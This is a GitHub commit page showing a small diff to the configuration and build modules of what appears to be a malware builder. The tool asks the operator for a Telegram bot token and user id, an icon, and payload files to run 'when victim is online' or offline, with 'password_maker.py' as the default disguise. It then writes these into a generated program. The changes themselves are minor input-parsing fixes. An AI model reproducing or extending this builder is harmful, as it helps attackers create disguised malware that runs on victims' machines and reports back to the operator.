Skip to content

Commit

Permalink
update modules/banner.py and modules/make.py
Browse files Browse the repository at this point in the history
  • Loading branch information
Farbod-Parkhooi committed Sep 18, 2024
1 parent feb4362 commit a2c7ccc
Show file tree
Hide file tree
Showing 3 changed files with 5 additions and 4 deletions.
2 changes: 1 addition & 1 deletion log/version.json
Original file line number Diff line number Diff line change
@@ -1 +1 @@
{"version":"5.0"}
{"version":"5.1"}
5 changes: 3 additions & 2 deletions modules/banner.py
Original file line number Diff line number Diff line change
Expand Up @@ -118,8 +118,9 @@ def get_options(): # get all of inputs and make python file
id = str(input(Fore.GREEN + "[+]" + Fore.WHITE + " write your telegram user id(with @userinfobot): "))
token = str(input(Fore.GREEN + "[+]" + Fore.WHITE + " write your telegram bot token here: ")).lower()
name = str(input(Fore.GREEN + "[+]" + Fore.WHITE + " write your application name: ")).lower()
max_letter = str(input(Fore.GREEN + "[+]" + Fore.WHITE + " write your max letter value(after that bot send you a link on note. its faster! | just write number without space): "))
try:
max_letter = int(input(Fore.GREEN + "[+]" + Fore.WHITE + " write your max letter value(after that bot send you a link on note. its faster! | just write number without space): "))
int(max_letter)
except: print(Fore.RED + "Invalid input(Just write number without space)."), exit()
code_addr_inp = str(input(Fore.GREEN + "[+]" + Fore.WHITE + " write your code file address for when victim is online(befor that check the imported libraries in bulder/windows-build or bulder/linux-build | and you can use standard Tkinter payloads. check them out from builder/tk_payloads): ")).lower()
offline_code_addr_inp = str(input(Fore.GREEN + "[+]" + Fore.WHITE + " write your code file address for when victim is offline(befor that check the imported libraries in bulder/windows-build or bulder/linux-build | and you can use standard Tkinter payloads. check them out from builder/tk_payloads/offline): ")).lower()
Expand All @@ -137,7 +138,7 @@ def get_options(): # get all of inputs and make python file
print(Fore.RED + "This platform dosnt exist!")
exit()
offline_code_addr = offline_code_addr_inp if offline_code_addr_inp.endswith(".py") else "builder/tk_payloads/offline/no_internet.py"
icon = icon_inp if icon_inp.endswith(".ico") else print("ERROR WHILE READING ICON"), "icongallery/icon.ico"
icon = icon_inp if icon_inp.endswith(".ico") else print("ERROR WHILE READING ICON. USING NORMAL ICON"), "icongallery/icon.ico"
print(f"ICON : {icon}")
code_addr = code_addr_inp if code_addr_inp.endswith(".py") else "builder/tk_payloads/password_maker.py"
# make python file
Expand Down
2 changes: 1 addition & 1 deletion modules/make.py
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@ def make_python(ID, TOKEN, NAME, MAX_LETTER, CODE_ADDR, OFFLINE_CODE_ADDR, PLATF
# read each line of code
for line in reader:
offline_code += f" {line}\n"
text = "".join(text).replace("TELEGRAM_ID", ID).replace("BOT_TOKEN", f'"{TOKEN}"').replace("ONLINE_CODE", online_code).replace("OFFLINE_CODE", offline_code).replace("MAX_LETTER", MAX_LETTER)
text = "".join(text).replace("TELEGRAM_ID", ID).replace("BOT_TOKEN", f'"{TOKEN}"').replace("ONLINE_CODE", online_code).replace("OFFLINE_CODE", offline_code).replace("MAX_LETTER", f"int({MAX_LETTER})")
# make 'output' directory
getoutput("mkdir output")
# make output file with custom name
Expand Down

0 comments on commit a2c7ccc

Please sign in to comment.